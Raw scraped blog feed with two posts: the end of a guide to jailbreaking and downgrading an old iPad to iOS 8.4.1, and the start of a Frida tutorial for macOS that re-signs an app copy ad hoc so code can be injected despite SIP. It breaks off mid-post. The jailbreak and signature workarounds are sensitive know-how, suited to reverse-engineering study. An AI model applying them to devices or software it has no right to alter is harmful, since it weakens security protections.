Downgrade first method - update SystemVersion.plist no computer required
&lt;a class="heading-link" href="#downgrade-first-method---update-systemversionplist-no-computer-required">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>For both methods you will have to first jailbreak your device, then downgrade to iOS 8.4.1. It is highly recommended to both disable the &lt;strong>passcode&lt;/strong> and log out of &lt;strong>iCloud&lt;/strong> or else when you try to jailbreak and after the device reboots, the latter will not be jailbroken and you&amp;rsquo;ll have to reapply the jailbreak again until it works.&lt;/p>
&lt;p>So let&amp;rsquo;s breakdown the steps we need to do:&lt;/p>
&lt;ol>
&lt;li>Connect your device through a reliable power source, you don&amp;rsquo;t want your device to be 10% of the current battery when jailbreaking.&lt;/li>
&lt;li>On your device, open Safari and go on &lt;a href="https://jailbreaks.app/legacy.html">jailbreaks.app&lt;/a> to pick one semi-tethered jailbreak compatible with iOS 9 like p0laris, Phoenix or HomeDepot.&lt;/li>
&lt;li>When opening the application, iOS will ask you to trust the developer, after that you can open it and jailbreak your device and wait for it to reboot. If everything worked correctly, you should see Cydia installed.&lt;/li>
&lt;li>Open Cydia and install iFile or Filza File Manager, ignore the updates Cydia is requesting.&lt;/li>
&lt;li>Open iFile or Filza File Manager, go to &lt;code>/System/Library/CoreServices&lt;/code> and open the &lt;code>SystemVersion.plist&lt;/code> file.&lt;/li>
&lt;li>We need to update the &lt;strong>ProductVersion&lt;/strong> and &lt;strong>ProductBuildVersion&lt;/strong>, depending on your device, these two values will be different. So to find out the correct values you can use &lt;a href="https://ipsw.me">IPSW.me&lt;/a>, for example I&amp;rsquo;m using the &lt;a href="https://ipsw.me/otas/iPad2,7">iPad mini first gen.&lt;/a> so I need to look inside the OTAs tab to find a &lt;strong>ProductVersion&lt;/strong> and &lt;strong>ProductBuildVersion&lt;/strong> which can allow me to downgrade to an older version. In my case I picked 6.1.3 for the &lt;strong>ProductVersion&lt;/strong> and 10B329 &lt;strong>ProductBuildVersion&lt;/strong>.&lt;/li>
&lt;li>Save the &lt;code>SystemVersion.plist&lt;/code> file and reboot your device.&lt;/li>
&lt;li>After the device rebooted, open Settings, General then Software Update. You should get an update for iOS 8.4.1 to install if not you did something wrong, in that case you have to restore and start over.&lt;/li>
&lt;li>After the installation is complete, if you go to Settings, General, About you should see the old version 8.4.1&lt;/li>
&lt;li>Go to Settings, General, Reset, then click Erase All Content and Settings.&lt;/li>
&lt;/ol>
&lt;p>As you can see this process is very long and tedious but it doesn&amp;rsquo;t require a computer, just your device. But luckily for us there&amp;rsquo;s another way which involves a script but the other hand it requires a computer.&lt;/p>
&lt;h2 id="downgrade-second-method---use-the-script-legacy-ios-kit">
Downgrade second method - use the script Legacy-iOS-Kit
&lt;a class="heading-link" href="#downgrade-second-method---use-the-script-legacy-ios-kit">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As mentioned on the &lt;a href="https://github.com/LukeZGD/Legacy-iOS-Kit">official repo&lt;/a> on Github, it is not recommended to launch the script through &lt;strong>Windows&lt;/strong>, so you have to choose between &lt;strong>macOS&lt;/strong> or &lt;strong>Linux&lt;/strong>.&lt;/p>
&lt;p>On &lt;strong>Windows&lt;/strong> you have to create a &lt;a href="https://ubuntu.com/tutorials/create-a-usb-stick-on-windows#1-overview">bootable usb&lt;/a> just for Linux. You could also use a VM to launch the script but there some extra steps involved to connect the usb and it may not work.&lt;/p>
&lt;p>On macOS you can use the &lt;a href="https://github.com/MalwareWerewolf/Legacy-iOS-Kit">fork&lt;/a> I made to use the latest version of bash with homebrew. The reason I forked the repo it&amp;rsquo;s because if you launch the script, you&amp;rsquo;ll get an error saying to update bash with a more recent version:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">[Error] Your bash version (3) is too old. Install a newer version of bash to continue.
* For macOS users, install bash, libimobiledevice, and libirecovery from Homebrew or MacPorts
* For Homebrew: brew install bash libimobiledevice libirecovery
* For MacPorts: sudo port install bash libimobiledevice libirecovery
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You have potentionally two options:&lt;/p>
&lt;ul>
&lt;li>The &lt;a href="https://github.com/LukeZGD/Legacy-iOS-Kit">original script&lt;/a> code is using the version inside &lt;code>/usr/bin/env&lt;/code> so technically it should use the first occurence it founds of an interpreter in the environment.
When I typed the command:
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ /usr/bin/env bash
&lt;/code>&lt;/pre>&lt;/div>it was still using the old version of bash so not the one from homebrew. So I added
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">export PATH=&amp;#34;/opt/homebrew/bin:$PATH&amp;#34;
&lt;/code>&lt;/pre>&lt;/div>to my &lt;code>~/.zshrc&lt;/code> and it worked, although it seemed a bit forced since the path was already in the environment but in a different position after the bash version installed in &lt;code>/bin/bash&lt;/code>.&lt;/li>
&lt;li>On the other hand if you don&amp;rsquo;t like messing around the environment that much, you can use my &lt;a href="https://github.com/MalwareWerewolf/Legacy-iOS-Kit">fork&lt;/a> of the script which is going to use directly the bash version from homebrew.&lt;/li>
&lt;/ul>
&lt;p>Whatever option you choose, before using the script you need to install a couple of packages as mentioned in the error message above:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ brew install bash libimobiledevice libirecovery
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s breakdown the steps to run the script:&lt;/p>
&lt;ol>
&lt;li>Make sure your device has enough battery left, we&amp;rsquo;ll connect it later to the computer.&lt;/li>
&lt;li>On your device, open Safari and go on &lt;a href="https://jailbreaks.app/legacy.html">jailbreaks.app&lt;/a> to pick one semi-tethered jailbreak compatible with iOS 9 like p0laris, Phoenix or HomeDepot.&lt;/li>
&lt;li>When opening the application, iOS will ask you to trust the developer, after that you can open it and jailbreak your device and wait for it to reboot. If everything worked correctly, you should see Cydia installed.&lt;/li>
&lt;li>Open Cydia and install &lt;strong>OpenSSH&lt;/strong>&lt;/li>
&lt;li>Add this repo to Cydia&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">https://lukezgd.github.io/repo/
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="6">
&lt;li>Install &lt;strong>kDFUApp&lt;/strong> which will be used to enter into a different recovery mode, not available just by pressing the power and home button.&lt;/li>
&lt;li>Optional: depending on your device, it may be necessary to install &lt;strong>kDFUApp Bundles&lt;/strong> which offers a wider device support.&lt;/li>
&lt;li>Open &lt;strong>kDFUApp&lt;/strong> and select all the options available, when they&amp;rsquo;re all selected you&amp;rsquo;ll be able to click on &lt;code>enter kDFU&lt;/code> at the bottom of your screen.&lt;/li>
&lt;li>Plug in your device.&lt;/li>
&lt;li>Launch the script through the terminal by typing:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ ./restore.sh
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="11">
&lt;li>Select &lt;code>Restore Firmware&lt;/code> by typing 1&lt;/li>
&lt;li>Select &lt;code>iOS 8.4.1&lt;/code> by typing 1&lt;/li>
&lt;li>If you already have an &lt;strong>IPSW&lt;/strong> file in the same directory where you launched the script, it will be used to downgrade iOS in that case type 3 to start restore otherwise type 2 to download the &lt;strong>IPSW&lt;/strong>.&lt;/li>
&lt;li>The script will ask you to jailbreak directly your device while downgrading, select &lt;code>n&lt;/code> it is recommended to do it manually.&lt;/li>
&lt;li>When asked &lt;code>Is your device already in pwned iBSS/kDFU mode? (y/N)&lt;/code> select &lt;code>y&lt;/code>, your device will now apply the downgrade and reboot.&lt;/li>
&lt;/ol>
&lt;p>Some more steps unlike the first method but everything is done automatically and you don&amp;rsquo;t need to erase everything to fix some instabilities caused when forcing iOS to downgrade.&lt;/p>
&lt;h2 id="jailbreak-with-daibutsu">
Jailbreak with Daibutsu
&lt;a class="heading-link" href="#jailbreak-with-daibutsu">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>We&amp;rsquo;re almost there, just a few more steps:&lt;/p>
&lt;ol>
&lt;li>On your device open Safari and go on &lt;a href="https://jailbreaks.app/legacy.html">jailbreaks.app&lt;/a> and select &lt;strong>Daibutsu&lt;/strong>.&lt;/li>
&lt;li>When opening the application, iOS will ask you to trust the developer, after that you can open it and jailbreak your device and wait for it to reboot. If everything worked correctly, you should see Cydia installed. There might be a scenario where the device is still not jailbroken, if that&amp;rsquo;s the case repeat the jailbreak.&lt;/li>
&lt;li>Add this repo to Cydia which can also be found on &lt;a href="https://dora2ios.web.app/daibutsu.html">dora2ios&lt;/a> to install feature updates of &lt;strong>Daibutsu&lt;/strong>:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">https://kok3shidoll.github.io/repo/
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="4">
&lt;li>Install a &lt;a href="https://cydia.invoxiplaygames.uk/certificates/">modern certificate&lt;/a> to add more repositories to Cydia which are using a new certificate.&lt;/li>
&lt;/ol>
&lt;p>Congrats, you&amp;rsquo;ve successfully downgraded and jailbreaked an iDevice from iOS 9 to 8.4.1!&lt;/p>
&lt;h2 id="where-to-go-from-there-">
Where to go from there ?
&lt;a class="heading-link" href="#where-to-go-from-there-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>There are many tweaks and repositories available but before installing anything unless it comes from a reliable source, do some research. Cydia will already mark any weird repo you&amp;rsquo;re trying to add which has been flagged several times by other users. Since you&amp;rsquo;re using a jailbroken device, you&amp;rsquo;re also more vulnerable to malwares but if you&amp;rsquo;re careful it&amp;rsquo;s not a big deal. I recommend taking a look at the &lt;a href="https://www.reddit.com/r/LegacyJailbreak/">Legacy Jailbreak subreddit&lt;/a>, they also have a &lt;a href="https://discord.com/invite/bhDpTAu">discord channel&lt;/a> with a couple of repositories you can add to Cydia. The &lt;a href="https://www.reddit.com/r/LegacyJailbreak/wiki/index/">wiki&lt;/a> has also some awesome content I haven&amp;rsquo;t covered in this article!&lt;/p></description></item><item><title>Inject code in macOS processes with Frida</title><link>https://malwarewerewolf.com/posts/inject-code-in-macos-processes-with-frida/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/inject-code-in-macos-processes-with-frida/</guid><description>&lt;p>On the arm64 architecture and macOS, there are not many ways to inject some code into an application, luckily there&amp;rsquo;s a tool called &lt;a href="https://frida.re/">Frida&lt;/a> which not only serves that purpose but it also allows you to reverse-engineering apps. Frida&amp;rsquo;s documentation give you some examples to start using the tool, however I had a few issues when running the tool on macOS which we&amp;rsquo;re going to see shortly.&lt;/p>
&lt;h2 id="requirements">
Requirements
&lt;a class="heading-link" href="#requirements">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Installing &lt;strong>Frida&lt;/strong> with &lt;a href="https://www.python.org/">python&lt;/a> is very straight forward, latest &lt;strong>3.x&lt;/strong> is recommended. Simply run this command in the terminal to install everything we need:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ pip install frida frida-tools
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="some-cool-websites-and-videos-to-mention-while-learning-frida">
Some cool websites and videos to mention while learning Frida
&lt;a class="heading-link" href="#some-cool-websites-and-videos-to-mention-while-learning-frida">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://learnfrida.info/">LearnFrida&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://frida.re/">Frida documentation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/dweinstein/awesome-frida">Awesome Frida&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.vicarius.io/blog/wtf-is-frida/">Wtf is Frida ?&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=miSg0Km2V-w">OBTS v4.0: &amp;ldquo;iOS Reverse Engineering With Frida&amp;rdquo; - Christine Fossaceca&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="a-word-about-sip-system-integrity-protection">
A word about SIP (system integrity protection)
&lt;a class="heading-link" href="#a-word-about-sip-system-integrity-protection">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>&lt;a href="https://frida.re/docs/examples/macos/">Frida docs&lt;/a> recommends to disable the SIP in macOS, although is not really recommended as quoted on the &lt;a href="https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc">Apple developer documentation&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>Disable SIP only temporarily to perform necessary tasks, and reenable it as soon as possible. Failure to reenable SIP when you are done testing leaves your computer vulnerable to malicious code.&lt;/p>
&lt;/blockquote>
&lt;p>But that isn&amp;rsquo;t the only issue, in fact if you disable the SIP, many other apps will stop working until you renable it. There&amp;rsquo;s a workaround we can use to bypass the SIP, keep in mind this bypass (if you want to call it that way) is not going to work on every application. In that case, disabling the SIP is the only option you have at your disposal.&lt;/p>
&lt;h2 id="overwrite-the-signature-of-an-application">
Overwrite the signature of an application
&lt;a class="heading-link" href="#overwrite-the-signature-of-an-application">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Unlike Linux or Windows, each app on macOS has its own signature and without it, the app cannot run and because of the signature, you can&amp;rsquo;t really attach &lt;strong>Frida&lt;/strong> to all processes, since you will get an error like:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/injectCodeInMacOSProcessesWithFrida/failureToAttachFridaToFirefox.png" alt="&amp;ldquo;failureToAttachFridaToFirefox&amp;rdquo;">&lt;/p>
&lt;p>So what happens if we attempt to override the signature using a command from the terminal called &lt;strong>codesign&lt;/strong> ? Make a copy of the application before launching it, we need the application executable the one inside the &lt;strong>MacOS&lt;/strong> folder, we can get to this folder by right clicking on the application and clicking on &lt;code>Show Package Contents&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ sudo codesign -f -s - /apps/Firefox2.app/Contents/MacOS/firefox
&lt;/code>&lt;/pre>&lt;/div>&lt;p>and now if we type again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ frida firefox
&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can attach &lt;strong>Frida&lt;/strong> to &lt;strong>Firefox&lt;/strong>:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/injectCodeInMacOSProcessesWithFrida/firefoxOverwriteCodeSignature.png" alt="&amp;ldquo;firefoxOverwriteCodeSignature&amp;rdquo;">&lt;/p>
&lt;p>But wait why is it working now ? If we compare the signature of the two apps, the real one and the copy using the command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ codesign -dv /apps/Firefox.app
&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can see there are some small differences, for Firefox (the unmodified signature) we have:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-console" data-lang="console">Executable=/apps/Firefox.app/Contents/MacOS/firefox
Identifier=org.mozilla.firefox
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=863 flags=0x10000(runtime) hashes=18+5 location=embedded
Signature size=8988
Timestamp=21 Mar 2023 at 13:58:54
Info.plist entries=25
TeamIdentifier=43AQ936H96
Runtime Version=13.0.0
Sealed Resources version=2 rules=13 files=80
Internal requirements count=1 size=148
&lt;/code>&lt;/pre>&lt;/div>&lt;p>and for the copy we have:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-console" data-lang="console">Executable=/apps/Firefox2.app/Contents/MacOS/firefox
Identifier=org.mozilla.firefox
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=780 flags=0x2(adhoc) hashes=18+3 location=embedded
Signature=adhoc
Info.plist entries=25
TeamIdentifier=not set
Sealed Resources version=2 rules=13 files=80
Internal requirements count=0 size=12
&lt;/code>&lt;/pre>&lt;/div>&lt;p>We&amp;rsquo;re interested in the property &lt;code>Signature=adhoc&lt;/code>, on the &lt;a href="https://developer.apple.com/documentation/security/seccodesignatureflags/kseccodesignatureadhoc">documentation&lt;/a> it says:&lt;/p>
&lt;blockquote>
&lt;p>The code has been sealed without a signing identity. No identity may be retrieved from it, and any code requirement placing restrictions on the signing identity will fail. This flag is set by Code Signing Services when you create an ad-hoc signature, and cannot be set explicitly. An ad-hoc signature is created by signing with the pseudo-identity “-” (a dash).&lt;/p>
&lt;/blockquote>
&lt;p>It basically means that the binary is the same as non-signed, so it won&amp;rsquo;t pass through any kind of verification. As I already mentioned this won&amp;rsquo;t be possible on every application, if that&amp;rsquo;s the case disabling the SIP might fix the issue.&lt;/p>
&lt;h2 id="protected-parts-of-the-system">
Protected parts of the system
&lt;a class="heading-link" href="#protected-parts-of-the-system">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Some apps like &lt;strong>Safari&lt;/strong> don&amp;rsquo;t even need a new signature and you can easily attach Frida to them. It also depends where the app you want to debug is located, as stated on the &lt;a href="https://support.apple.com/en-us/HT204899">Apple documentation&lt;/a>, &lt;strong>System Integrity Protection&lt;/strong> includes protection for these parts of the system:&lt;/p>
&lt;ul>
&lt;li>/System&lt;/li>
&lt;li>/usr&lt;/li>
&lt;li>/bin&lt;/li>
&lt;li>/sbin&lt;/li>
&lt;li>/var&lt;/li>
&lt;li>Apps that are pre-installed with the Mac operating system&lt;/li>
&lt;/ul>
&lt;p>Paths and apps that third-party apps and installers can continue to write to include:&lt;/p>
&lt;ul>
&lt;li>/Applications&lt;/li>
&lt;li>/Library&lt;/li>
&lt;li>/usr/local&lt;/li>
&lt;/ul>
&lt;p>And the documentation also says:&lt;/p>
&lt;blockquote>
&lt;p>System Integrity Protection is designed to allow modification of these protected parts only by processes that are signed by Apple and have special entitlements to write to system files, such as Apple software updates and Apple installers. Apps that you download from the App Store already work with System Integrity Protection. Other third-party software, if it conflicts with System Integrity Protection, might be set aside when you upgrade to OS X El Capitan or later.&lt;/p>
&lt;/blockquote>
&lt;p>So what this means is that all the authorized apps by Apple can write, some parts of the system, all the other apps can simply write to folders such as &lt;strong>Applications&lt;/strong> but why are we interested in these protected folders ? Some of the pre-installed apps like &lt;strong>Calculator&lt;/strong> or &lt;strong>Maps&lt;/strong>, are accessible through the &lt;strong>Applications&lt;/strong> folder but they are actually located in &lt;strong>System&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>for Calculator the path is &lt;code>/System/Applications/Calculator.app&lt;/code>&lt;/li>
&lt;li>for Maps the path is &lt;code>/System/Applications/Maps.app&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>And with the SIP enabled, you can&amp;rsquo;t attach &lt;strong>Frida&lt;/strong> to these system apps, Safari is an exception even if it&amp;rsquo;s a pre-installed app since it&amp;rsquo;s in a different path. To attach Frida to Safari, you need to use the correct PID, in fact if you type:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ frida Safari
&lt;/code>&lt;/pre>&lt;/div>&lt;p>you will get an error where there are two processes with the same name:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-console" data-lang="console">Failed to spawn: ambiguous name; it matches: safari (pid: 2296), Safari (pid: 2270)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>pick one of the two PIDs, it&amp;rsquo;s usually the first one and type:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ frida &lt;span style="color:#ae81ff">2296&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>and &lt;strong>Frida&lt;/strong> will attach correctly to the process.&lt;/p>
&lt;h2 id="frida-cli">
Frida CLI
&lt;a class="heading-link" href="#frida-cli">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>All the &lt;strong>Frida&lt;/strong> commands you can use are listed in the &lt;a href="https://frida.re/docs/frida-cli/">documentation&lt;/a>, the one you&amp;rsquo;re probably going to use the most is &lt;code>frida-ps&lt;/code>, which is useful for listing processes on the current or even a remote system. But if you just type &lt;code>frida-ps&lt;/code> in the terminal you will get a lot of results, so to filter only what you&amp;rsquo;re looking for you can use &lt;strong>grep&lt;/strong>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ frida-ps | grep Safari
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Another command worth to mention is &lt;strong>frida-trace&lt;/strong> which is a tool for dynamically tracing function calls. Depending on the OS you&amp;rsquo;re targeting, functions can be called differently, in &lt;strong>Objective-C&lt;/strong> case to use its functions, you would use a command like the following (I&amp;rsquo;m using &lt;a href="https://github.com/Try/OpenGothic">OpenGothic&lt;/a> as an example):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ frida-trace -f &lt;span style="color:#e6db74">&amp;#34;/Applications/OpenGothic.app/Contents/MacOS/Gothic2Notr&amp;#34;&lt;/span> -m &lt;span style="color:#e6db74">&amp;#34;-[NSApplication **]&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>In this case, &lt;a href="https://developer.apple.com/documentation/appkit/nsapplication?language=objc">NSApplication&lt;/a> is an &lt;strong>Objective-C&lt;/strong> function.&lt;/p>
&lt;h2 id="objective-c-functions">
Objective-C functions
&lt;a class="heading-link" href="#objective-c-functions">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>It&amp;rsquo;s not mandatory to be a &lt;strong>Objective-C&lt;/strong> guru, but it certaintly help to understand a bit the language to use the functions in &lt;strong>Frida&lt;/strong>. A good place to start learning about the &lt;strong>Objective-C&lt;/strong> functions is to check the &lt;a href="https://developer.apple.com/documentation/technologies?language=objc">documentation&lt;/a>. In order to inject some code, Frida is using &lt;strong>Javascript&lt;/strong>, after attaching Frida to a process to invoke a function you would write something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">classes&lt;/span>.&lt;span style="color:#a6e22e">NSString&lt;/span>.&lt;span style="color:#a6e22e">stringWithString_&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Hello World&amp;#34;&lt;/span>);
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The underscore after the method name is used to replace &lt;code>:&lt;/code> so for instance in Objective-C, you would write:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-console" data-lang="console">stringWithString:
&lt;/code>&lt;/pre>&lt;/div>&lt;p>on the other hand in Frida, you replace the character with &lt;code>_&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-console" data-lang="console">stringWithString_
&lt;/code>&lt;/pre>&lt;/div>&lt;p>All the syntax is very well explained on the &lt;a href="https://frida.re/docs/javascript-api/#objc">Frida documentation&lt;/a> for &lt;strong>Objective-C&lt;/strong> using &lt;strong>Javascript&lt;/strong>.&lt;/p>
&lt;h2 id="injecting-code-into-an-application">
Injecting code into an application
&lt;a class="heading-link" href="#injecting-code-into-an-application">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>The code used to be injected in the processes is using &lt;strong>Javascript&lt;/strong> and &lt;strong>Python&lt;/strong> is used to set all the stuff you need, like the process to inject the code and the actual script to use. We&amp;rsquo;ll take a look to &lt;strong>Javascript&lt;/strong> first, then we&amp;rsquo;ll create a little project using also &lt;strong>Python&lt;/strong> to inject automatically the script.&lt;/p>
&lt;p>It&amp;rsquo;s worth to mention that some of the &lt;strong>Javascript&lt;/strong> examples shown in the documentation are not working with the &lt;strong>SIP&lt;/strong> enabled, but let&amp;rsquo;s take a look to this code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#66d9ef">const&lt;/span> { &lt;span style="color:#a6e22e">NSSound&lt;/span> } &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">classes&lt;/span>; &lt;span style="color:#75715e">/* macOS */&lt;/span>
&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">schedule&lt;/span>(&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">mainQueue&lt;/span>, () =&amp;gt; {
&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">sound&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">NSSound&lt;/span>.&lt;span style="color:#a6e22e">alloc&lt;/span>().&lt;span style="color:#a6e22e">initWithContentsOfFile_byReference_&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/Users/oleavr/.Trash/test.mp3&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">true&lt;/span>);
&lt;span style="color:#a6e22e">sound&lt;/span>.&lt;span style="color:#a6e22e">play&lt;/span>();
});
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Why is this an interesting example ? If we look at the path used which is &lt;code>/Users/oleavr/.Trash/test.mp3&lt;/code> and we get to the directory &lt;code>Users&lt;/code> with the &lt;strong>terminal&lt;/strong> which is using a theme like &lt;a href="https://github.com/romkatv/powerlevel10k">powerlevel10k&lt;/a> we can see there&amp;rsquo;s a lock icon:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/injectCodeInMacOSProcessesWithFrida/lockIcon.png" alt="&amp;ldquo;lockIcon&amp;rdquo;">&lt;/p>
&lt;p>We already know which folders are protected thanks to the &lt;strong>Apple documentation&lt;/strong>, but what if we want to check a specific folder to be sure ? We can use &lt;code>ls&lt;/code> for that and look for restricted:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ ls -lO /Users
&lt;/code>&lt;/pre>&lt;/div>&lt;p>which prints:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-console" data-lang="console">drwxrwxrwt 26 root wheel - 832 Feb 9 10:39 Shared
drwxr-xr-x+ 93 yourusername staff - 2976 Mar 30 20:18 yourusername
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So the directory is not protected, but to write anything inside this folder, you need to run a command as &lt;strong>sudo&lt;/strong>. On the other hand, if we inspect &lt;strong>System&lt;/strong>, we get that everything is &lt;strong>restricted&lt;/strong>, and thus protected by the SIP:&lt;/p>
